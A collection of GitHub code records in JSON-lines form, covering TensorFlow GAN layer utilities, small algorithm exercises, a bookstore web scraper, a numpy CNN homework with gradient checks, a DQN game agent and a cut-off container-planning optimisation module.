is_xavier_init:\n w = tf.get_variable(\"w\", kernel_size + [output_dim, in_shape[-1]],\n initializer=initializers.xavier_initializer())\n else:\n w = tf.get_variable(\"w\", kernel_size + [output_dim, in_shape[-1]],\n initializer=tf.truncated_normal_initializer(stddev=0.02))\n if is_spectral_norm:\n deconv = tf.nn.conv2d_transpose(inputs, spectral_norm(w, update_collection=update_collection),\n output_shape=output_shape,\n strides=[1] + stride + [1], padding=padding)\n else:\n deconv = tf.nn.conv2d_transpose(inputs, w, output_shape=output_shape,\n strides=[1] + stride + [1], padding=padding)\n if with_biases:\n biases = tf.get_variable(\"b\", [output_dim], initializer=tf.constant_initializer(0.0))\n deconv = tf.reshape(tf.nn.bias_add(deconv, biases), deconv.get_shape())\n if activation_fn is not None:\n deconv = activation_fn(deconv)\n if with_w:\n return deconv, w\n else:\n return deconv\n\n\ndef upsample(x):\n xshape = [int(t) for t in x.get_shape()]\n # ipdb.set_trace()\n x_rs = tf.reshape(x, [xshape[0] * xshape[1], 1, xshape[2] * xshape[3]])\n x_rs = tf.tile(x_rs, [1, 2, 1])\n x_rs = tf.reshape(x_rs, [xshape[0] * 2 * xshape[1] * xshape[2], 1, xshape[3]])\n x_rs = tf.tile(x_rs, [1, 2, 1])\n x_out = tf.reshape(x_rs, [xshape[0], 2 * xshape[1], 2 * xshape[2], xshape[3]])\n\n return x_out\n\n\ndef get_var_maybe_avg(var_name, ema, **kwargs):\n ''' utility for retrieving polyak averaged params '''\n v = tf.get_variable(var_name, **kwargs)\n if ema is not None:\n v = ema.average(v)\n return v\n\n\ndef get_vars_maybe_avg(var_names, ema, **kwargs):\n ''' utility for retrieving polyak averaged params '''\n vars = []\n for vn in var_names:\n vars.append(get_var_maybe_avg(vn, ema, **kwargs))\n return vars\n\n\ndef int_shape(x):\n return list(map(int, x.get_shape()))\n\n\ndef train_opt(opt_type, lr, beta1=0.9, beta2=0.999):\n if opt_type == 'rmsprop':\n return tf.train.RMSPropOptimizer(lr)\n elif opt_type == 'adam':\n return tf.train.AdamOptimizer(lr, beta1=beta1, beta2=beta2)\n else:\n raise Exception(\"Unknown opt_type\")\n\n\ndef batch_norm(input, is_training=True, momentum=0.9, epsilon=2e-5, in_place_update=True, name=\"batch_norm\"):\n if in_place_update:\n return tf.contrib.layers.batch_norm(input,\n decay=momentum,\n center=True,\n scale=True,\n epsilon=epsilon,\n updates_collections=None,\n is_training=is_training,\n scope=name)\n else:\n return tf.contrib.layers.batch_norm(input,\n decay=momentum,\n center=True,\n scale=True,\n epsilon=epsilon,\n is_training=is_training,\n scope=name)\n\n\ndef ConvMeanPool(inputs, output_dim, kernel_size, name, is_spectral_norm, update_collection, biases=True):\n output = inputs\n output = conv2d(output, output_dim, kernel_size, name=name, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection, with_biases=biases)\n output = tf.add_n(\n [output[:, ::2, ::2, :], output[:, 1::2, ::2, :], output[:, ::2, 1::2, :], output[:, 1::2, 1::2, :]]) / 4.\n return output\n\n\ndef MeanPoolConv(inputs, output_dim, kernel_size, name, is_spectral_norm, update_collection, biases=True):\n output = inputs\n output = tf.add_n(\n [output[:, ::2, ::2, :], output[:, 1::2, ::2, :], output[:, ::2, 1::2, :], output[:, 1::2, 1::2, :]]) / 4.\n output = conv2d(output, output_dim, kernel_size, name=name, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection, with_biases=biases)\n return output\n\n\ndef UpsampleConv(inputs, output_dim, kernel_size, name, biases=True):\n output = inputs\n output = tf.concat([output, output, output, output], axis=-1)\n output = tf.depth_to_space(output, 2)\n output = conv2d(output, output_dim, kernel_size, name=name, with_biases=biases)\n return output\n\n\ndef genResBlock(inputs, output_dim, kernel_size, name, resample=None, is_spectral_norm=False, update_collection=None,\n activation_fn=tf.nn.relu, is_training=True, with_biases=True):\n \"\"\"\n resample: None, 'down', or 'up'\n \"\"\"\n input_dim = inputs.get_shape().as_list()[-1]\n if resample == 'down':\n conv_1 = functools.partial(conv2d, output_dim=output_dim, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection) # TODO: here is it output_dim=input_dim?\n conv_2 = functools.partial(ConvMeanPool, output_dim=output_dim, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection)\n conv_shortcut = functools.partial(ConvMeanPool, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection)\n elif resample == 'up':\n conv_1 = functools.partial(UpsampleConv, output_dim=output_dim)\n conv_shortcut = UpsampleConv\n conv_2 = functools.partial(conv2d, output_dim=output_dim)\n elif resample == None:\n conv_shortcut = functools.partial(conv2d, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection)\n conv_1 = functools.partial(conv2d, output_dim=output_dim, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection)\n conv_2 = functools.partial(conv2d, output_dim=output_dim, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection)\n else:\n raise Exception('invalid resample value')\n\n if output_dim == input_dim and resample == None:\n shortcut = inputs # Identity skip-connection\n else:\n shortcut = conv_shortcut(inputs, output_dim, kernel_size=[1, 1], name=name + '.Shortcut', biases=with_biases)\n\n output = inputs\n output = batch_norm(output, is_training=is_training, name=name + '.N1')\n output = activation_fn(output)\n output = conv_1(output, kernel_size=kernel_size, name=name + '.Conv1')\n output = batch_norm(output, is_training=is_training, name=name + '.N2')\n output = activation_fn(output)\n output = conv_2(output, kernel_size=kernel_size, name=name + '.Conv2')\n\n return shortcut + output\n\n\ndef disResBlock(inputs, output_dim, kernel_size, name, resample=None, is_spectral_norm=False, update_collection=None,\n activation_fn=tf.nn.relu, is_training=True, with_biases=True):\n \"\"\"\n resample: None, 'down', or 'up'\n \"\"\"\n input_dim = inputs.get_shape().as_list()[-1]\n if resample == 'down':\n conv_1 = functools.partial(conv2d, output_dim=output_dim, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection) # TODO: here is it output_dim=input_dim?\n conv_2 = functools.partial(ConvMeanPool, output_dim=output_dim, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection)\n conv_shortcut = functools.partial(ConvMeanPool, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection)\n elif resample == 'up':\n conv_1 = functools.partial(UpsampleConv, output_dim=output_dim)\n conv_shortcut = UpsampleConv\n conv_2 = functools.partial(conv2d, output_dim=output_dim)\n elif resample == None:\n conv_shortcut = functools.partial(conv2d, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection)\n conv_1 = functools.partial(conv2d, output_dim=output_dim, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection)\n conv_2 = functools.partial(conv2d, output_dim=output_dim, is_spectral_norm=is_spectral_norm,\n update_collection=update_collection)\n else:\n raise Exception('invalid resample value')\n\n if output_dim == input_dim and resample == None:\n shortcut = inputs # Identity skip-connection\n else:\n shortcut = conv_shortcut(inputs, output_dim, kernel_size=[1, 1], name=name + '.Shortcut', biases=with_biases)\n\n output = inputs\n output = batch_norm(output, is_training=is_training, name=name + '.N1')\n output = activation_fn(output)\n output = conv_1(output, kernel_size=kernel_size, name=name + '.Conv1')\n output = batch_norm(output, is_training=is_training, name=name + '.N2')\n output = activation_fn(output)\n output = conv_2(output, kernel_size=kernel_size, name=name + '.Conv2')\n\n return shortcut + output\n","repo_name":"weilinie/JARE","sub_path":"real/libs/ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":15422,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"20"} +{"seq_id":"27321738585","text":"from math import sqrt,ceil\n\ndef isFactor(n,f):\n TV = n % f == 0\n return TV\n\ndef nextPrime(n):\n counter = 0\n for i in range(2,n - 1):\n if n % i == 0:\n counter += 1\n if counter == 0:\n return True\n else:\n return False\n \n \ndef isPrime(n):\n for i in range (2,n):\n if nextPrime(i) == True:\n if isFactor(n,i) == True:\n return i\n \n\ndef allPrimeFactors(n):\n i = 0\n while n > 2:\n print (n,i)\n i = isPrime(n)\n n /= i\n print(n,i)\n \n\nallPrimeFactors(20)\n","repo_name":"ironsketch/pythonSeattleCentral","sub_path":"Chapter 8/03_01_16.py","file_name":"03_01_16.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31048948701","text":"for run in range(int(input())):\n n=int(input())\n if n%25==0:\n print(0)\n else:\n last=['00','25','75','50']\n s=str(n)\n n=len(s)\n for i in range(len(s)):\n for j in range(i+1,len(s)):\n if (int(s[i])*10 + int(s[j]))% 25 ==0:\n n=min(n,len(s)-i-2)\n print(n)","repo_name":"ShariarShuvo1/Problem-Solving","sub_path":"Codeforce/1539b.py","file_name":"1539b.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"28156749558","text":"import json\nimport re\nimport time\nfrom bs4 import BeautifulSoup\nimport requests\n\n# https://youtube.com/playlist?list=PLzMcBGfZo4-n40rB1XaJ0ak1bemvlqumQ\n# https://realpython.com/beautiful-soup-web-scraper-python/\n# https://pypi.org/project/beautifulsoup4/\n# https://docs.python.org/3/library/json.html\n# https://www.routech.ro/tutorial-web-scraping-python-cum-sa-scrapati-datele-de-pe-un-site-web/\n# https://docs.python-requests.org/en/latest/\n# https://www.crummy.com/software/BeautifulSoup/bs4/doc/\n# https://docs.python.org/3/library/time.html\n# https://docs.python.org/3/library/re.html\n\n\n# se setează URL-ul de bază pentru site-ul Elefant.ro cu filtrul de căutare pentru produsele \"star wars\"\nbase_url = \"https://www.elefant.ro/filter/1?PageNumber={}&PageSize=60&SortingAttribute=bestseller-desc&ViewType=&SearchTerm=star+wars&SearchParameter=%26%40QueryTerm%3Dstar%2Bwars%26AvailableFlag%3D1%26isMaster%3D0\"\n\n# se inițializează numărul paginii curente\ncurrent_page = 1\n\n# se definește o listă goală în care vor fi stocate cărțile\ncartii = []\n\n# incepând de la prima pagină și continuând până la a 13-a pagină\nwhile current_page <= 13:\n # Se realizează o cerere HTTP către URL-ul formatat cu pagina curentă\n page = requests.get(base_url.format(current_page))\n # se utilizează biblioteca BeautifulSoup pentru a extrage conținutul paginii\n soup = BeautifulSoup(page.content, \"html.parser\")\n # se găsește elementul script care conține datele despre produse\n script_element = soup.find_all(\"script\", {\"type\": \"text/javascript\"})[22]\n script_data = script_element.string\n # se folosește o expresie regulată pentru a găsi toate obiectele JSON din script_data\n regex = r\"\\{([^}]*)\\}\"\n matches = re.findall(regex, script_data)\n # funcție pentru formatarea informațiilor\n def format_info(info):\n return info.split(\":\")[-1].replace(\",\", \"\")\n \n # funcție pentru extragerea datelor despre o carte\n def extract_data(product):\n result = {}\n for info in product.split(\"\\n\"):\n if info.startswith(\"'name'\"):\n result[\"title\"] = format_info(info)\n elif info.startswith(\"'price'\"):\n result[\"price\"] = format_info(info)\n elif info.startswith(\"'brand'\"):\n result[\"brand\"] = format_info(info)\n elif info.startswith(\"'
    author
    ==$0'\"):\n result[\"
    author
    ==$0\"] = format_info(info)\n elif \"'category'\" in info and \"'Carti\\\\/Carte straina\\\\/Fiction & related items\\\\/Science fiction'\" in info:\n result[\"category\"] = format_info(info)\n elif \"'category'\" in info and \"'Carti\\\\/Carte straina\\\\/Fiction & related items'\" in info:\n result[\"category\"] = \"Carti/Carte straina/Fiction & related items\"\n elif \"'category'\" in info and \"'Carti\\\\/Carte straina\\\\/Children\\\\'s, Teenage & Educational'\" in info:\n result[\"category\"] = \"Carti/Carte straina/Children's, Teenage & Educational\"\n elif \"'product-sold-out'\" in info:\n return Non\n\n return result\n # se extrag informațiile potrivite despre carti\n for match in matches:\n book = extract_data(match)\n if book is not None and \"category\" in book:\n if book not in cartii:\n cartii.append(book)\n# se afișează mesajul pentru verificarea paginii curente\n print(f\"Verifying page: {current_page}\")\n# se incrementează numărul paginii curente\n current_page += 1\n# se adaugă o pauză de 1 secundă între cereri pentru a nu suprasolicita serverul\n time.sleep(1) \n# se găsește linkul către pagina următoare\n next_page_link = soup.find(\"a\", title=\"La pagina următoare\")\n# dacă nu există link către pagina următoare, se încheie bucla\n if next_page_link is None:\n break\n# se extrage URL-ul paginii următoare\n next_page_url = next_page_link[\"href\"]\n # Extragem numărul paginii următoare din URL\n current_page = int(re.search(r\"PageNumber=(\\d+)\", next_page_url).group(1))\n# se salvează informațiile despre cărți într-un fișier JSON\nwith open(\"star_wars_cartii.json\", \"w+\", encoding=\"utf8\") as json_file:\n json.dump({\"cartii\": cartii}, json_file, indent=4)\n\n# se afișează un mesaj de finalizare a execuției codului\nprint(\"Codul a fost executat cu succes și fișierul JSON a fost generat.\")\n","repo_name":"AndreeaHogas/proiectlp3LilisiAndreea","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4437,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"21510292173","text":"import numpy as np\nfrom skimage.util.shape import view_as_windows\n\n\n#######\n# if necessary, you can define additional functions which help your implementation,\n# and import proper libraries for those functions.\n#######\n\nclass nn_convolutional_layer:\n\n def __init__(self, filter_width, filter_height, input_size, in_ch_size, num_filters, std=1e0):\n # initialization of weights\n self.W = np.random.normal(0, std / np.sqrt(in_ch_size * filter_width * filter_height / 2),\n (num_filters, in_ch_size, filter_width, filter_height))\n self.b = 0.01 + np.zeros((1, num_filters, 1, 1))\n self.input_size = input_size\n\n self.filter_width = filter_width\n self.filter_height = filter_height\n #######\n ## If necessary, you can define additional class variables here\n #######\n\n def update_weights(self, dW, db):\n self.W += dW\n self.b += db\n\n def get_weights(self):\n return self.W, self.b\n\n def set_weights(self, W, b):\n self.W = W\n self.b = b\n\n def conv(self, x, y,fh,fw):\n sliding_wind = view_as_windows(x,(len(x),len(x[0]),fh,fw))\n sliding_wind = np.squeeze(sliding_wind, axis=0)\n sliding_wind = np.squeeze(sliding_wind, axis=0)\n sliding_wind = np.transpose(sliding_wind,(2,0,1,3,4,5))\n out_h = len(sliding_wind[0])\n out_w = len(sliding_wind[0][0])\n sliding_wind = sliding_wind.reshape((len(x),out_h,out_w,-1))\n tmp = np.reshape(y,(len(y),-1,1))\n return np.transpose(np.squeeze(sliding_wind.dot(tmp),axis=4),(0,3,1,2))\n\n #######\n # Q1. Complete this method\n #######\n def forward(self, x):\n out = self.conv(x,self.W,self.filter_height,self.filter_width)+self.b\n return out\n\n #######\n # Q2. Complete this method\n #######\n def backprop(self, x, dLdy):\n dLdy_padded = np.pad(dLdy,((0,0),(0,0),(2,2),(2,2)))\n flipped_filt = self.W[:,:,::-1,::-1]\n flipped_filt = np.transpose(flipped_filt,(1,0,2,3))\n dLdx = self.conv(dLdy_padded,flipped_filt,self.filter_height,self.filter_width)\n x_transpose = np.transpose(x,(1,0,2,3))\n dLdY_transpose = np.transpose(dLdy,(1,0,2,3))\n print(x.shape)\n print(dLdy.shape)\n dLdW = self.conv(x_transpose,dLdY_transpose,len(x[0][0][0])-self.filter_height+1,len(x[0][0])-self.filter_width+1)\n dLdW = np.transpose(dLdW,(1,0,2,3))\n dLdb = np.sum(dLdy,axis=2)\n dLdb = np.sum(dLdb,axis=2)\n dLdb = np.sum(dLdb,axis=0)\n dLdb = np.reshape(dLdb,(1,-1,1,1))\n return dLdx, dLdW, dLdb\n\n #######\n ## If necessary, you can define additional class methods here\n #######\n\n\nclass nn_max_pooling_layer:\n def __init__(self, stride, pool_size):\n self.stride = stride\n self.pool_size = pool_size\n #######\n ## If necessary, you can define additional class variables here\n #######\n\n #######\n # Q3. Complete this method\n #######\n def forward(self, x):\n sliding_wind = view_as_windows(x,(len(x),len(x[0]),self.pool_size,self.pool_size),step=self.stride)\n sliding_wind = np.squeeze(sliding_wind,0)\n sliding_wind = np.squeeze(sliding_wind,0)\n sliding_wind = np.transpose(sliding_wind,(2,3,0,1,4,5))\n sliding_wind = np.max(sliding_wind,axis=4)\n sliding_wind = np.max(sliding_wind,axis=4)\n out = sliding_wind\n return out\n\n #######\n # Q4. Complete this method\n #######\n def backprop(self, x, dLdy):\n max = self.forward(x)\n mask = np.equal(x,max.repeat(2,axis=3).repeat(2,axis=2)).astype(int)\n dLdy_extended = dLdy.repeat(2,axis=3).repeat(2,axis=2)\n dLdx = mask*dLdy_extended\n return dLdx\n\n #######\n ## If necessary, you can define additional class methods here\n #######\n\n\n# testing the implementation\n\n# data sizes\nbatch_size = 8\ninput_size = 32\nfilter_width = 3\nfilter_height = filter_width\nin_ch_size = 3\nnum_filters = 8\n\nstd = 1e0\ndt = 1e-3\n\n# number of test loops\nnum_test = 20\n\n# error parameters\nerr_dLdb = 0\nerr_dLdx = 0\nerr_dLdW = 0\nerr_dLdx_pool = 0\n\nfor i in range(num_test):\n # create convolutional layer object\n cnv = nn_convolutional_layer(filter_width, filter_height, input_size, in_ch_size, num_filters, std)\n\n x = np.random.normal(0, 1, (batch_size, in_ch_size, input_size, input_size))\n delta = np.random.normal(0, 1, (batch_size, in_ch_size, input_size, input_size)) * dt\n\n # dLdx test\n print('dLdx test')\n y1 = cnv.forward(x)\n y2 = cnv.forward(x + delta)\n\n bp, _, _ = cnv.backprop(x, np.ones(y1.shape))\n\n exact_dx = np.sum(y2 - y1) / dt\n apprx_dx = np.sum(delta * bp) / dt\n print('exact change', exact_dx)\n print('apprx change', apprx_dx)\n\n err_dLdx += abs((apprx_dx - exact_dx) / exact_dx) / num_test * 100\n\n # dLdW test\n print('dLdW test')\n W, b = cnv.get_weights()\n dW = np.random.normal(0, 1, W.shape) * dt\n db = np.zeros(b.shape)\n\n z1 = cnv.forward(x)\n _, bpw, _ = cnv.backprop(x, np.ones(z1.shape))\n cnv.update_weights(dW, db)\n z2 = cnv.forward(x)\n\n exact_dW = np.sum(z2 - z1) / dt\n apprx_dW = np.sum(dW * bpw) / dt\n print('exact change', exact_dW)\n print('apprx change', apprx_dW)\n\n err_dLdW += abs((apprx_dW - exact_dW) / exact_dW) / num_test * 100\n\n # dLdb test\n print('dLdb test')\n\n W, b = cnv.get_weights()\n\n dW = np.zeros(W.shape)\n db = np.random.normal(0, 1, b.shape) * dt\n\n z1 = cnv.forward(x)\n\n V = np.random.normal(0, 1, z1.shape)\n\n _, _, bpb = cnv.backprop(x, V)\n\n cnv.update_weights(dW, db)\n z2 = cnv.forward(x)\n\n exact_db = np.sum(V * (z2 - z1) / dt)\n apprx_db = np.sum(db * bpb) / dt\n\n print('exact change', exact_db)\n print('apprx change', apprx_db)\n err_dLdb += abs((apprx_db - exact_db) / exact_db) / num_test * 100\n\n # max pooling test\n # parameters for max pooling\n stride = 2\n pool_size = 2\n\n mpl = nn_max_pooling_layer(stride=stride, pool_size=pool_size)\n\n x = np.arange(batch_size * in_ch_size * input_size * input_size).reshape(\n (batch_size, in_ch_size, input_size, input_size)) + 1\n delta = np.random.normal(0, 1, (batch_size, in_ch_size, input_size, input_size)) * dt\n\n print('dLdx test for pooling')\n y1 = mpl.forward(x)\n dLdy = np.random.normal(0, 10, y1.shape)\n bpm = mpl.backprop(x, dLdy)\n\n y2 = mpl.forward(x + delta)\n\n exact_dx_pool = np.sum(dLdy * (y2 - y1)) / dt\n apprx_dx_pool = np.sum(delta * bpm) / dt\n print('exact change', exact_dx_pool)\n print('apprx change', apprx_dx_pool)\n\n err_dLdx_pool += abs((apprx_dx_pool - exact_dx_pool) / exact_dx_pool) / num_test * 100\n\n# reporting accuracy results.\nprint('accuracy results')\nprint('conv layer dLdx', 100 - err_dLdx, '%')\nprint('conv layer dLdW', 100 - err_dLdW, '%')\nprint('conv layer dLdb', 100 - err_dLdb, '%')\nprint('maxpool layer dLdx', 100 - err_dLdx_pool, '%')","repo_name":"chaihoyah/DLClass","sub_path":"CNN/hw4_nn.py","file_name":"hw4_nn.py","file_ext":"py","file_size_in_byte":6965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25133302628","text":"A, B = input().split()\r\narrA = list(A)\r\narrB = list(B)\r\narrA.reverse()\r\narrB.reverse()\r\nstrA = \"\".join(arrA)\r\nstrB = \"\".join(arrB)\r\nif int(strA) > int(strB):\r\n print(strA)\r\nelse:\r\n print(strB)","repo_name":"sunghwan95/Algorithm","sub_path":"백준/Bronze/2908. 상수/상수.py","file_name":"상수.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"72869489010","text":"from dqn import DQNAgent\nfrom get_window import get_frame\nfrom movement import action_space, move\nimport time\nfrom env import FootballHeadEnv\nimport itertools\nfrom graph import EpisodeStats, plot_episode_stats\nimport numpy as np\nimport threading\nimport random\ntime.sleep(2)\n\n# Define consts\nSTATE_SIZE = 200 * 200 # dims\nACTION_SIZE = 4\nEPISODES = 1000\nBATCH_SIZE = 32\n\n# Define agent\nagent1 = DQNAgent(STATE_SIZE, ACTION_SIZE) # right\nagent2 = DQNAgent(STATE_SIZE, ACTION_SIZE) # left\nagent1.load(\"spheads-dqn1.h5\")\nagent2.load(\"spheads-dqn2.h5\")\ndone = False\n\n# For graphing\nstats = EpisodeStats(\n episode_lengths=np.zeros(EPISODES),\n episode_rewards=np.zeros(EPISODES))\n\n# Start environment\nenv = FootballHeadEnv()\n# Random agent\n# while True:\n# move(action_space[random.randint(0,7)])\n\n# Play\ndef play():\n state = env.reset()\n for t in itertools.count():\n action1 = agent1.act(state)\n # action1 = random.randint(0,3) # random\n move(action_space[action1])\n\n action2 = agent2.act(state)\n action2 += 4\n move(action_space[action2])\n\n next_state, p1_reward, p2_reward, done, _ = env.step(state)\n state = next_state\n# Train\ndef train():\n for e in range(EPISODES):\n print(\"Episode:\", e)\n # Restart game\n state = env.reset()\n p1_total_reward = 0\n p2_total_reward = 0\n\n for t in itertools.count():\n # Play game\n # print(\"Agent act\")\n action1 = agent1.act(state)\n move(action_space[action1])\n action2 = agent2.act(state) + 4\n # action2 = random.randint(4, 7)\n move(action_space[action2])\n\n # print(\"Env step\")\n next_state, p1_reward, p2_reward, done, _ = env.step(state)\n p1_total_reward += p1_reward\n p2_total_reward += p2_reward\n\n # print(\"Agent remember\")\n agent1.remember(state, action1, p1_reward, next_state, done)\n # agent2.remember(state, action2, p2_reward, next_state, done)\n state = next_state\n\n # print(\"Agent replay\")\n # print(\"Timestep:\", t)\n if len(agent1.memory) > BATCH_SIZE and t % 5 == 0:\n agent1.replay(BATCH_SIZE)\n # agent2.replay(BATCH_SIZE)\n\n # For graphing\n stats.episode_rewards[e] += p1_reward\n stats.episode_lengths[e] = t\n\n if done:\n print(\"Episode:\", e,\n \"P1 total reward:\", p1_total_reward,\n \"P2 total reward:\", p2_total_reward,\n \"Time taken:\", t,\n \"Agent 1's epsilon:\", agent1.epsilon,\n \"Agent 2's epsilon:\", agent2.epsilon)\n break\n\n if e % 10 == 0:\n agent1.save(\"spheads-dqn1.h5\")\n agent2.save(\"spheads-dqn2.h5\")\n\n plot_episode_stats(stats)\n\n# play()\ntrain()\n","repo_name":"jetnew/Sports-Heads-RL-Agent","sub_path":"play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":2957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"9369676486","text":"import requests\nfrom datetime import datetime, timedelta\nfrom random import randint, randrange\n\nurl = 'http://localhost:8000/api/visit/'\n\n# simulates 1000 costumers a day for 90 days\nfor i in range(90):\n for j in range(1000):\n # unique id that does not represent a true UUID\n device_id = randrange(100000,150000)\n\n # time_in is a random start. Supposed to simulate opening hour\n # also has delta to simulate time between 8AM and 8PM\n time_in = datetime(year=2020,month=1,day=1,hour=8,minute=0) + \\\n timedelta(\n days=i,\n hours=randint(0, 11),\n minutes=randint(0, 59)\n )\n\n # time_out simulates someone staying in a store for maximum of 90 minutes\n time_out = time_in + timedelta(minutes=randint(1,90))\n\n data = {\n 'device_id': device_id,\n 'time_in': time_in,\n 'time_out': time_out\n }\n\n resp = requests.post(url=url, data=data)\n print(resp.text)\n","repo_name":"quintenrivers/CovLabs-2020","sub_path":"server/scripts/populate_db.py","file_name":"populate_db.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"16016405561","text":"alphabetList = ['ABC', 'DEF', 'GHI', 'JKL', 'MNO', 'PQRS', 'TUV', 'WXYZ']\n\ns = input()\n\nres = 0\n\nfor i in range(len(s)): # s 길이만큼 반복\n for j in alphabetList: # alphabetList에서 하나씩 꺼냄\n if s[i] in j: # s 안에 있는 글자 하나하나가 j에 있을 경우\n res += alphabetList.index(j) + 3 # 1이 2초가 걸리는데 인덱스는 0부터니까 3을 더해줌\n\nprint(res)\n","repo_name":"nsbg/ALGORITHM","sub_path":"boj/boj_5622.py","file_name":"boj_5622.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"7411224766","text":"from abc import ABC, abstractmethod\nimport copy\nimport random\nfrom time import time\nfrom datetime import datetime\nfrom numpy.random import RandomState\nimport pulp\nimport alns\nimport matplotlib.pyplot as plt\nfrom .synchrotool import Planning, Container\n\n\nclass Methode(ABC):\n\n def __init__(self, planning: Planning):\n self.planning = planning\n\n @abstractmethod\n def solve(self):\n pass\n\n\nclass LinearProgramming(Methode):\n\n def __init__(self, planning: Planning):\n Methode.__init__(self, planning)\n self.pulp = pulp.LpProblem(planning.naam, pulp.LpMinimize)\n self._x = {} # binary variable x to state leg i is chosen by container k or not\n self._y = {} # binary variable y to state two adjacent legs are both used by container k or not\n\n def _decision_variables(self):\n for k in range(len(self.planning.containers)):\n for l1 in self.planning.legs:\n self._x[k, l1.id] = pulp.LpVariable(\"x_(%s_%s)\" % (k, l1.id), cat=pulp.LpBinary)\n for l2 in self.planning.legs:\n if l1.naar == l2.van:\n self._y[k, l1.id, l2.id] = pulp.LpVariable(\"y_(%s_%s_%s)\" % (k, l1.id, l2.id), cat=pulp.LpBinary)\n\n def __aantal_uren(self, t1: datetime, t2: datetime):\n # aantal uren tussen t1 en t2\n return (t2 - t1).total_seconds() / 3600.0\n\n def _objective_function(self):\n self.pulp += pulp.lpSum([self._x[c.id, l.id] * (l.prijs(c.containertype)\n + l.emissie(c.containertype) * c.emissiefactor) # f_c + f_e\n for l in self.planning.legs for c in self.planning.geef_containers()]) + \\\n pulp.lpSum([self._x[c.id, l.id] * (c.boete_te_vroeg *\n max(self.__aantal_uren(l.aankomst, c.min_levertijd), 0) + # f_early\n c.boete_te_laat *\n max(self.__aantal_uren(c.max_levertijd, l.aankomst), 0)) # f_late\n for l in self.planning.legs for c in self.planning.geef_containers() if c.naar == l.naar])\n\n def _leg_constraints(self):\n for c in self.planning.geef_containers():\n for v in self.planning.locaties:\n rhs = -1 if v == c.van else 1 if v == c.naar else 0\n self.pulp += pulp.lpSum([self._x[c.id, l.id] for l in self.planning.legs if l.naar == v]) - \\\n pulp.lpSum([self._x[c.id, l.id] for l in self.planning.legs if l.van == v]) == rhs\n\n def _capacity_constraints(self):\n for s in self.planning.containertypes:\n for l in self.planning.legs:\n self.pulp += l.aantal(s) - \\\n pulp.lpSum([self._x[c.id, l.id] for c in self.planning.geef_containers()\n if c.containertype == s]) >= 0\n\n def _time_constraints(self):\n for c in self.planning.geef_containers():\n for l1 in self.planning.legs:\n # departure\n if c.van == l1.van:\n self.pulp += self._x[c.id, l1.id] * (c.min_ophaaltijd - l1.checkin).total_seconds() <= 0\n self.pulp += self._x[c.id, l1.id] * (l1.checkin - c.max_ophaaltijd).total_seconds() <= 0\n # arrival\n if c.naar == l1.naar:\n self.pulp += self._x[c.id, l1.id] * (l1.aankomst - c.uiterste_levertijd).total_seconds() <= 0\n # time windows\n for l2 in self.planning.legs:\n if l1.naar == l2.van:\n self.pulp += self._y[c.id, l1.id, l2.id] * (l1.aankomst - l2.checkin).total_seconds() <= 0\n self.pulp += (self._x[c.id, l1.id] + self._x[c.id, l2.id] - self._y[c.id, l1.id, l2.id] - 1.5) <= 0\n self.pulp += (2 * self._y[c.id, l1.id, l2.id] - self._x[c.id, l1.id] - self._x[c.id, l2.id] - 0.5) <= 0\n\n def solve(self):\n start = time()\n self._decision_variables()\n self._objective_function()\n self._leg_constraints()\n self._capacity_constraints()\n self._time_constraints()\n self.pulp.solve()\n print(\"Elapsed time:\", round(time() - start, 2), 'sec')\n print(\"Solution status:\", pulp.LpStatus[self.pulp.status])\n if self.pulp.status == 1: # feasible\n self._get_solution()\n print(\"Minimal cost:\", pulp.value(self.pulp.objective))\n\n def _get_solution(self):\n for c in self.planning.geef_containers():\n traject = []\n for l in self.planning.legs:\n if self._x[c.id, l.id].value() == 1:\n legcapaciteit = l.capaciteiten[c.containertype]\n traject.append(legcapaciteit)\n self.planning.voeg_container_traject_toe(c.id, *traject)\n\n\nclass MaakContainerTraject:\n\n def __init__(self, planning: Planning, container: Container = None):\n self.planning = planning\n self.container = container\n\n def maak_greedy_traject(self, van_naar=True):\n # van_naar = True: traject wordt geconstrueerd van container.van naar container.naar\n # van_naar = False: traject wordt omgekeerd geconstrueerd van container.naar naar container.van\n def selecteer(capaciteiten):\n return min(capaciteiten, key=capaciteiten.get)\n if van_naar:\n return self.__maak_traject_van_naar(selecteer)\n else:\n return self.__maak_traject_naar_van(selecteer)\n\n def maak_random_traject(self, van_naar=True):\n # van_naar = True: traject wordt geconstrueerd van container.van naar container.naar\n # van_naar = False: traject wordt omgekeerd geconstrueerd van container.naar naar container.van\n def selecteer(capaciteiten):\n return random.choice([capaciteit for capaciteit in capaciteiten])\n if van_naar:\n return self.__maak_traject_van_naar(selecteer)\n else:\n return self.__maak_traject_naar_van(selecteer)\n\n 